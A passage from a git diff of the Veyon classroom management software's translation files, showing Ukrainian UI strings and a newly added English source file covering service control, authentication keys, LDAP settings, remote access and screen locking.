attempts + Показувати сповіщення щодо невдалих спроб пройти розпізнавання + + + + ServiceControl + + Starting service %1 + Запускаємо службу %1 + + + Stopping service %1 + Зупиняємо службу %1 + + + Registering service %1 + Реєструємо службу %1 + + + Unregistering service %1 + Скасовуємо реєстрацію служби %1 + + + Service control + Керування службами + + + + ServiceControlPlugin + + Service is running + Службу запущено + + + Service is not running + Службу не запущено + + + Configure and control Veyon service + Налаштовування і керування службою Veyon + + + Register Veyon Service + Зареєструвати службу Veyon + + + Unregister Veyon Service + Скасувати реєстрацію служби Veyon + + + Start Veyon Service + Запустити службу Veyon + + + Stop Veyon Service + Зупинити службу Veyon + + + Restart Veyon Service + Перезапустити службу Veyon + + + Query status of Veyon Service + Визначити стан служби Veyon + + + Commands for configuring and controlling Veyon Service + Команди для налаштовування і керування службою Veyon + + + + ShellCommandLinePlugin + + Run command file + Виконати файл команди + + + File "%1" does not exist! + Файла «%1» не існує! + + + Interactive shell and script execution for Veyon Control + Інтерактивна оболонка і засіб виконання скриптів для Керування Veyon + + + Commands for shell functionalities + Команди для можливостей оболонки + + + + SystemTrayIcon + + System tray icon + Піктограма у системному лотку + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Модуль груп користувачів для груп користувачів системи + + + Default (system user groups) + Типовий (групи користувачів системи) + + + + TextMessageDialog + + Send text message + Надіслати текстове повідомлення + + + Use the field below to type your message which will be sent to all selected users. + Використовуйте це поле, щоб набрати текст повідомлення, яке буде надіслано всім позначеним користувачам. + + + + TextMessageFeaturePlugin + + Text message + Текстове повідомлення + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Скористайтеся цією можливістю для надсилання текстового повідомлення усіх користувачам, наприклад, для визначення нового завдання для користувачів. + + + Message from teacher + Повідомлення від вчителя + + + Send a message to a user + Надіслати користувачу повідомлення + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Увімкнути захоплення шарів (напівпрозорих) вікон + + + Poll full screen (leave this enabled per default) + Повноекранний режим (залиште це типово увімкненим) + + + Low accuracy (turbo mode) + Низька точність (турбо-режим) + + + Builtin UltraVNC server configuration + Налаштування вбудованого сервера UltraVNC + + + Enable multi monitor support + Увімкнути підтримку декількох моніторів + + + Enable Desktop Duplication Engine on Windows 8 and newer + Увімкнути рушій дублювання стільниці у Windows 8 та новіших версіях + + + + UserConfig + + No write access + Немає доступу на запис + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Не вдалося зберегти ваші особисті параметри! Будь ласка, перевірте, чи правильно вказано шлях до файла налаштувань користувачів за допомогою засобу налаштовування %1. + + + + UserSessionControl + + User session control + Керування сеансами користувачів + + + Click this button to logout users from all computers. + Натисніть цю кнопку, щоб примусово виконати вихід користувачів на усіх комп’ютерах. + + + Confirm user logout + Підтвердження виходу користувачів + + + Do you really want to logout the selected users? + Ви справді хочете виконати вихід із системи для позначених користувачів? + + + Logout + Вийти + + + + VeyonCore + + [OK] + [Гаразд] + + + [FAIL] + [ПОМИЛКА] + + + Invalid command! + Некоректна команда! + + + Available commands: + Доступні команди: + + + Invalid arguments given + Вказано некоректні аргументи + + + Not enough arguments given - use "%1 help" for more information + Вказано недостатньо аргументів — скористайтеся командою «%1 help», щоб дізнатися більше + + + Unknown result! + Невідомий результат! + + + Available modules: + Доступні модулі: + + + No module specified or module not found - available modules are: + Не вказано модуль або модуль не знайдено. Доступні модулі: + + + Plugin not licensed + Додаток не ліцензовано + + + INFO + ВІДОМОСТІ + + + ERROR + ПОМИЛКА + + + licensed for + ліцензовано для + + + + VeyonServiceControl + + Veyon Service + Служба Veyon + + + + VncView + + Establishing connection to %1 ... + Встановлення зв’язку з %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Додаток, який реалізуває абстрактні функції на платформі Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: службу «%1» вже встановлено. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: не вдалося встановити службу «%1». + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: службу «%1» успішно встановлено. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: не вдалося вилучити службу «%1». + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: службу «%1» успішно вилучено. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: не вдалося змінити тип запуску служби «%1». + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: не вдалося знайти службу «%1». + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Налаштування вбудованого сервера x11vnc + + + Custom x11vnc parameters: + Нетипові параметри x11vnc: + + + Do not use X Damage extension + Не використовувати розширення X Damage + + + \ No newline at end of file diff --git a/translations/veyon.ts b/translations/veyon.ts new file mode 100644 index 0000000..da490bd --- /dev/null +++ b/translations/veyon.ts @@ -0,0 +1,3311 @@ + + + + + AboutDialog + + About + + + + Translation + + + + License + + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + + + + ... + + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapDirectory + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + + MasterConfigurationPage + + Directories + + + + ... + + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable dual monitor support + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled 